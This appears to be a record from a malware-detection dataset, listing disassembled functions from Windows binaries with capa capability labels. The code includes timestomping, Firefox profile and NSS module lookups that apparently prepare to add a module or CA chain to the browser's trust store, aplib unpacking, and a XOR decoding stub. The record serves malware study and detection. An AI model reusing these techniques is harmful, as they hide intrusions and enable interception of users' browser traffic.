joyce8/EMBER2024-capa huggingface dataset:
Function at 0x419690
Capabilities:
Timestomp file

Disassembly:
sub esp, 0x30
push ebp
push esi
mov esi, dword [esp + 0x40]
push edi
test esi, esi
jne 0x4196b7
lea eax, [esp + 0x10]
push eax
call fcn.00418620
mov ecx, dword [esp + 0x14]
add esp, 4
mov dword [esp + 0xc], ecx
lea esi, [esp + 0xc]
lea edx, [esi + 4]
push edx
call fcn.00418430
add esp, 4
test eax, eax
je 0x4197e3
mov cx, word [eax + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
add cx, 0x76c
mov word [esp + 0x2c], cx
mov dx, word [eax + 0x10]
inc dx
mov word [esp + 0x2e], dx
mov cx, word [eax + 0xc]
mov word [esp + 0x32], cx
mov dx, word [eax + 8]
mov word [esp + 0x34], dx
mov cx, word [eax + 4]
mov word [esp + 0x36], cx
mov dx, word [eax]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x2c]
push eax
push ecx
mov word [esp + 0x40], dx
mov word [esp + 0x42], 0
call edi
test eax, eax
je 0x4197e3
mov ebp, dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea edx, [esp + 0x1c]
lea eax, [esp + 0x14]
push edx
push eax
call ebp
test eax, eax
je 0x4197e3
push esi
call fcn.00418430
add esp, 4
test eax, eax
je 0x4197e3
mov cx, word [eax + 0x14]
add cx, 0x76c
mov word [esp + 0x2c], cx
mov dx, word [eax + 0x10]
inc dx
mov word [esp + 0x2e], dx
mov cx, word [eax + 0xc]
mov word [esp + 0x32], cx
mov dx, word [eax + 8]
mov word [esp + 0x34], dx
mov cx, word [eax + 4]
mov word [esp + 0x36], cx
mov dx, word [eax]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x2c]
push eax
push ecx
mov word [esp + 0x40], dx
mov word [esp + 0x42], 0
call edi
test eax, eax
je 0x4197e3
lea edx, [esp + 0x24]
lea eax, [esp + 0x14]
push edx
push eax
call ebp
test eax, eax
je 0x4197e3
mov eax, dword [esp + 0x40]
lea ecx, [esp + 0x1c]
lea edx, [esp + 0x24]
push ecx
push edx
push 0
push eax
call fcn.00405b20
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
test eax, eax
je 0x4197e3
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x30
ret
pop edi
pop esi
mov dword [0x424850], 0x16
or eax, 0xffffffff
pop ebp
add esp, 0x30
ret

Function at 0x419ee0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x419f03
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.004058a0
add esp, 4
or eax, 0xffffffff
ret
test al, 1
je 0x419f26
test byte [esp + 8], 2
je 0x419f26
mov dword [0x424850], 0xd
mov dword [0x424854], 5
or eax, 0xffffffff
ret
xor eax, eax
ret
Function at 0x41afb0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x104
lea eax, [esp]
push esi
push eax
push 0x104
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x41afe9
mov eax, dword [esp + 4]
cmp ah, 0x3a
jne 0x41afe9
and eax, 0xff
push eax
call fcn.0041c900
mov esi, eax
add esp, 4
sub esi, 0x40
mov eax, esi
pop esi
add esp, 0x104
ret
Function at 0x41c3e0
Capabilities:
Set environment variable

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
test edi, edi
je 0x41c59e
push 0x3d
push edi
call fcn.0041d8e0
mov esi, eax
add esp, 8
test esi, esi
je 0x41c59e
cmp edi, esi
je 0x41c59e
mov dl, byte [esi + 1]
mov ecx, dword [0x42487c]
xor eax, eax
test dl, dl
sete al
mov ebp, eax
mov eax, dword [0x424878]
cmp eax, ecx
jne 0x41c437
push eax
call fcn.0041c670
add esp, 4
mov dword [0x424878], eax
test eax, eax
jne 0x41c4b2
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x41c45e
mov eax, dword [0x424880]
test eax, eax
je 0x41c45e
call fcn.0041aa00
test eax, eax
je 0x41c4ad
or eax, 0xffffffff
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
test ebp, ebp
je 0x41c46a
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 4
call fcn.00402320
add esp, 4
mov dword [0x424878], eax
test eax, eax
je 0x41c59e
mov dword [eax], 0
mov eax, dword [0x424880]
test eax, eax
jne 0x41c4ad
push 4
call fcn.00402320
add esp, 4
mov dword [0x424880], eax
test eax, eax
je 0x41c59e
mov dword [eax], 0
mov eax, dword [0x424878]
mov ebx, eax
mov eax, esi
sub eax, edi
push eax
push edi
mov dword [esp + 0x18], eax
call fcn.0041c5f0
mov esi, eax
add esp, 8
test esi, esi
jl 0x41c5af
cmp dword [ebx], 0
je 0x41c5af
test ebp, ebp
je 0x41c5a7
mov ecx, dword [ebx + esi*4]
lea edi, [ebx + esi*4]
push ecx
call fcn.00402e90
mov eax, dword [edi]
add esp, 4
test eax, eax
je 0x41c509
mov eax, edi
mov edx, dword [eax + 4]
add eax, 4
mov dword [edi], edx
inc esi
mov ecx, dword [eax]
mov edi, eax
test ecx, ecx
jne 0x41c4f8
lea eax, [esi*4]
push eax
push ebx
call fcn.00402180
add esp, 8
test eax, eax
je 0x41c523
mov dword [0x424878], eax
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x41c596
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
inc ecx
push ecx
call fcn.00402320
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x41c596
mov edi, dword [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, dword [esp + 0x10]
mov edx, ecx
mov esi, edi
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
neg ebp
rep movsb byte es:[edi], byte [esi]
sbb ebp, ebp
mov byte [ebx + eax], 0
lea eax, [ebx + eax + 1]
not ebp
and ebp, eax
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push ebx
call fcn.00402e90
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
pop ecx
ret
mov dword [ebx + esi*4], edi
jmp 0x41c527
test ebp, ebp
jne 0x41c596
test esi, esi
jge 0x41c5b9
neg esi
lea ecx, [esi*4 + 8]
push ecx
push ebx
call fcn.00402180
add esp, 8
test eax, eax
je 0x41c59e
mov dword [eax + esi*4], edi
mov dword [eax + esi*4 + 4], 0
mov dword [0x424878], eax
jmp 0x41c527
Function at 0x41c790
Capabilities:
Get common file path

Disassembly:
sub esp, 0x10c
push ebx
mov ebx, dword [esp + 0x114]
push esi
push edi
test ebx, ebx
je 0x41c801
push ebx
call fcn.0041c8c0
add esp, 4
test eax, eax
jne 0x41c7cf
mov dword [0x424854], 0xf
mov dword [0x424850], 0xd
pop edi
pop esi
pop ebx
add esp, 0x10c
ret
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push ecx
lea edx, [esp + 0x14]
add bl, 0x40
push 0x104
push edx
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x3a
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x1f], 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
jmp 0x41c811
lea eax, [esp + 0x14]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
test eax, eax
je 0x41c8a7
inc eax
cmp eax, 0x104
ja 0x41c8a7
mov edx, dword [esp + 0x120]
mov ecx, dword [esp + 0x124]
test edx, edx
jne 0x41c860
cmp eax, ecx
jg 0x41c83d
mov eax, ecx
push eax
call fcn.00402320
mov edx, eax
add esp, 4
test edx, edx
jne 0x41c87a
mov dword [0x424850], 0xc
pop edi
pop esi
pop ebx
add esp, 0x10c
ret
cmp eax, ecx
jle 0x41c87a
mov dword [0x424850], 0x22
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x10c
ret
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebx, ecx
mov edi, edx
mov eax, edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10c
ret

Function at 0x41c8c0
Capabilities:
Get disk information

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x41c8ce
mov eax, 1
ret
add al, 0x40
mov byte [esp + 5], 0x3a
mov byte [esp + 4], al
lea eax, [esp + 4]
push eax
mov byte [esp + 0xa], 0x5c
mov byte [esp + 0xb], 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
test eax, eax
je 0x41c8fd
cmp eax, 1
je 0x41c8fd
mov eax, 1
ret
xor eax, eax
ret
Function at 0x41ca40
Capabilities:
Clear file content

Disassembly:
mov eax, 0x1004
call fcn.00418a00
mov eax, dword [0x42a8e0]
push ebx
mov ebx, dword [esp + 0x100c]
push ebp
xor ebp, ebp
push esi
cmp ebx, eax
push edi
jae 0x41cba2
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 0x1f
mov edx, dword [eax*4 + 0x42a7e0]
test byte [edx + ecx*8 + 4], 1
je 0x41cba2
push 1
push ebp
push ebx
call fcn.00404dc0
mov edi, eax
add esp, 0xc
cmp edi, 0xffffffff
mov dword [esp + 0x10], edi
je 0x41cbac
push 2
push ebp
push ebx
call fcn.00404dc0
add esp, 0xc
cmp eax, 0xffffffff
je 0x41cbac
mov ecx, dword [esp + 0x101c]
mov esi, ecx
sub esi, eax
test esi, esi
jle 0x41cb48
mov ecx, 0x400
xor eax, eax
lea edi, [esp + 0x14]
push 0x8000
rep stosd dword es:[edi], eax
push ebx
call fcn.0041d9e0
add esp, 8
mov edi, eax
cmp esi, 0x1000
mov eax, 0x1000
jge 0x41caef
mov eax, esi
push eax
lea eax, [esp + 0x18]
push eax
push ebx
call fcn.00404e80
add esp, 0xc
cmp eax, 0xffffffff
je 0x41cb0b
sub esi, eax
test esi, esi
jle 0x41cb21
jmp 0x41cae0
cmp dword [0x424854], 5
jne 0x41cb1e
mov dword [0x424850], 0xd
or ebp, 0xffffffff
push edi
push ebx
call fcn.0041d9e0
mov edi, dword [esp + 0x18]
add esp, 8
push 0
push edi
push ebx
call fcn.00404dc0
add esp, 0xc
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1004
ret
jge 0x41cb89
push 0
push ecx
push ebx
call fcn.00404dc0
add esp, 0xc
push ebx
call fcn.00405b20
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov ebp, eax
neg ebp
sbb ebp, ebp
neg ebp
dec ebp
cmp ebp, 0xffffffff
jne 0x41cb89
mov dword [0x424850], 0xd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x424854], eax
push 0
push edi
push ebx
call fcn.00404dc0
add esp, 0xc
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1004
ret
mov dword [0x424850], 9
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
add esp, 0x1004
ret
Function at 0x401000
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x108
push ebx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], bl
mov dword [esp + 8], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push 8
push ebx
push str.SoftwareMozillaMozilla_Firefox_
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4010fa
mov edx, dword [esp + 8]
lea ecx, [esp + 0xc]
push 0x104
push ecx
push ebx
push edx
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
je 0x401072
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
xor eax, eax
pop ebx
add esp, 0x108
ret
mov ecx, dword [esp + 8]
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea edx, [esp + 0x10]
push 0x404020
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
lea eax, [esp + 0x18]
sub esi, eax
lea edi, [esi + 1]
push edi
call sub.MFC42.DLL_operatornew
mov ecx, edi
mov ebx, eax
mov edx, ecx
xor eax, eax
mov edi, ebx
push ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, esi
lea esi, [esp + 0x20]
mov eax, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 0x10
cmp eax, 3
pop esi
push ebx
jl 0x4010f2
call sub.MFC42.DLL_operatordelete
add esp, 4
mov eax, 1
pop edi
pop ebx
add esp, 0x108
ret
call sub.MFC42.DLL_operatordelete
add esp, 4
pop edi
xor eax, eax
pop ebx
add esp, 0x108
ret
Function at 0x401110
Capabilities:
Get common file path
Read .ini file

Disassembly:
sub esp, 0x30c
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jge 0x40115c
mov ecx, dword [esp + 0x31c]
pop edi
xor eax, eax
pop esi
mov dword [ecx], 0
add esp, 0x30c
ret
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push str.profiles.ini
stosw word es:[edi], ax
lea edx, [esp + 0xc]
push str.MozillaFirefox
stosb byte es:[edi], al
push edx
lea eax, [esp + 0x118]
push str._s_s_s
push eax
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x225]
mov byte [esp + 0x224], 0
rep stosd dword es:[edi], eax
add esp, 0x14
lea ecx, [esp + 0x10c]
lea edx, [esp + 0x210]
push ecx
push 0x104
stosw word es:[edi], ax
push edx
push 0x40436c
push str.Path
push str.Profile0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
jne 0x4011f0
pop edi
pop esi
add esp, 0x30c
ret
mov edi, dword [esp + 0x318]
lea eax, [esp + 0x210]
push eax
lea ecx, [esp + 0xc]
push str.MozillaFirefox
push ecx
push str._s_s_s
push edi
call esi
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
mov edx, dword [esp + 0x31c]
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
mov dword [edx], ecx
mov eax, 1
pop esi
add esp, 0x30c
ret

Function at 0x401320
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x20c
push edi
xor edx, edx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
mov dword [esp + 0xc], edx
call fcn.00401110
add esp, 8
test eax, eax
pop edi
jne 0x401379
add esp, 0x20c
ret
lea edx, [esp + 4]
lea eax, [esp + 0x108]
push edx
push str._s_secmod.db
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x108]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4013ad
add esp, 0x20c
ret
lea edx, [esp + 4]
push str.secmod.db
push edx
call fcn.00401240
mov eax, dword [esp + 0x218]
push eax
call dword [0x404350]
add esp, 0xc
test eax, eax
jne 0x4013df
call fcn.00401270
xor eax, eax
add esp, 0x20c
ret
call fcn.00401270
mov eax, 1
add esp, 0x20c
ret
Function at 0x4013f0
Capabilities:
Check if file exists

Disassembly:
sub esp, 0x210
push ebx
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], bl
mov byte [esp + 0x114], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x115]
mov dword [esp + 0xc], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xc]
lea ecx, [esp + 0x10]
push eax
push ecx
call fcn.00401110
add esp, 8
test eax, eax
jne 0x40144b
pop edi
pop ebx
add esp, 0x210
ret
lea edx, [esp + 0x10]
lea eax, [esp + 0x114]
push edx
push str._s_secmod.db
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 0x114]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x401481
pop edi
pop ebx
add esp, 0x210
ret
push esi
lea edx, [esp + 0x14]
push str.secmod.db
push edx
call fcn.00401240
mov ecx, dword [esp + 0x228]
lea eax, [esp + 0x14]
push eax
push ecx
mov dword [esp + 0x1c], ebx
call dword [0x404354]
add esp, 0x10
mov esi, eax
call fcn.00401270
xor eax, eax
cmp esi, ebx
pop esi
pop edi
sete al
pop ebx
add esp, 0x210
ret

Function at 0x401580
Capabilities:
Check if file exists
Get common file path

Disassembly:
sub esp, 0x208
push edi
xor dl, dl
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 5]
mov byte [esp + 4], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x109]
mov byte [esp + 0x108], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 4]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
movsx ecx, byte [esp + 4]
push ecx
lea edx, [esp + 0x10c]
push str._c:Program_Files__x86_
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
neg eax
sbb eax, eax
pop edi
neg eax
add esp, 0x208
ret
Function at 0x401a30
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x104
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push eax
call fcn.00401600
add esp, 4
test eax, eax
je 0x401b59
mov edi, str._nss3.dll
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0xc]
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
push 8
push eax
and ecx, 3
lea eax, [esp + 0x14]
rep movsb byte es:[edi], byte [esi]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
test eax, eax
mov dword [0x404364], eax
pop ebx
je 0x401b59
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Initialize
push eax
call esi
mov ecx, dword [0x404364]
push str.NSS_Shutdown
push ecx
mov dword [0x404360], eax
call esi
mov edx, dword [0x404364]
push str.SECMOD_AddNewModule
push edx
mov dword [0x40435c], eax
call esi
mov dword [0x404358], eax
mov eax, dword [0x404364]
push str.SECMOD_DeleteModule
push eax
call esi
mov ecx, dword [0x404364]
push str.SECMOD_FindModule
push ecx
mov dword [0x404354], eax
call esi
mov edx, dword [0x404364]
push str.MyCERT_ImportCAChain
push edx
mov dword [0x404350], eax
call esi
mov dword [0x40434c], eax
mov eax, dword [0x404360]
test eax, eax
je 0x401b59
mov eax, dword [0x40435c]
test eax, eax
je 0x401b59
mov eax, dword [0x404358]
test eax, eax
je 0x401b59
mov eax, dword [0x404354]
test eax, eax
je 0x401b59
mov eax, dword [0x404350]
test eax, eax
je 0x401b59
pop edi
mov eax, 1
pop esi
add esp, 0x104
ret
pop edi
xor eax, eax
pop esi
add esp, 0x104
ret
Function at 0x105e8058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.105e81a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x105e807e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105e806a
add dl, dl
jne 0x105e8089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105e80dc
xor eax, eax
add dl, dl
jne 0x105e8096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105e817d
add dl, dl
jne 0x105e80a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105e80b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105e80bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105e80c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x105e80d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x105e8075
mov eax, 1
add dl, dl
jne 0x105e80ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105e80f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105e80e1
sub eax, ebx
mov ebx, 1
jne 0x105e8128
mov ecx, 1
add dl, dl
jne 0x105e810e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x105e8119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105e8105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105e8075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x105e813f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x105e814a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105e8136
cmp eax, 0x7d00
jae 0x105e816d
cmp eax, 0x500
jb 0x105e8168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105e8075
cmp eax, 0x7f
ja 0x105e8170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x105e8075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x105e819e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x105e8075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x889058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x8891a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x88907e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x88906a
add dl, dl
jne 0x889089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x8890dc
xor eax, eax
add dl, dl
jne 0x889096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x88917d
add dl, dl
jne 0x8890a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8890b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8890bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8890c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x8890d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x889075
mov eax, 1
add dl, dl
jne 0x8890ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x8890f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x8890e1
sub eax, ebx
mov ebx, 1
jne 0x889128
mov ecx, 1
add dl, dl
jne 0x88910e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x889119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x889105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x889075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x88913f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x88914a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x889136
cmp eax, 0x7d00
jae 0x88916d
cmp eax, 0x500
jb 0x889168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x889075
cmp eax, 0x7f
ja 0x889170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x889075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x88919e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x889075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10

Function at 0x9301cc
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x9301d2
pop ebp
sub ebp, 6
sub ebp, 0x5301cc
jmp 0x930230
jmp 0x930239
jmp 0x930239
mov eax, 0x5301cc
add eax, ebp
add eax, 0x93
mov ecx, 0x631
mov edx, 0x1cc3d222
xor byte [eax], dl
inc eax
dec ecx
jne 0x930250
jmp 0x930263
add byte [eax], al
add byte [ebx], bl
mov bh, 0x11
pop ss
dec eax
bound ecx, qword [edx + 0x22]
xor ah, byte [edx]
and cl, byte [edx + 0x22]
out dx, al
push cs
and ah, byte [ebx + 0x204255d2]
mov dword es:[0x204255d2], eax
adc edx, esp
jb 0x93025c
mov bh, 0x5a
arpl word [ebx + 0x22], bp
jb 0x93022f
out dx, eax
test eax, 0x22221eab
and ah, byte [ebx + 0x2222dae3]
and ah, byte [ecx]
out dx, eax
lcall 0xa98, 0x22222224
and ah, byte [edx]
and dl, ch
shl byte [ecx], 0xea
test eax, 0x22222ea3
and ah, byte [ecx]
out 0x72, eax
dec edx
rcl dword [ebx + ebp]
and cl, byte [edx - 0xb]
call 0xeb62523
push es
dec edx
and ah, byte [edx]
and ah, byte [edx]
retf 0x2227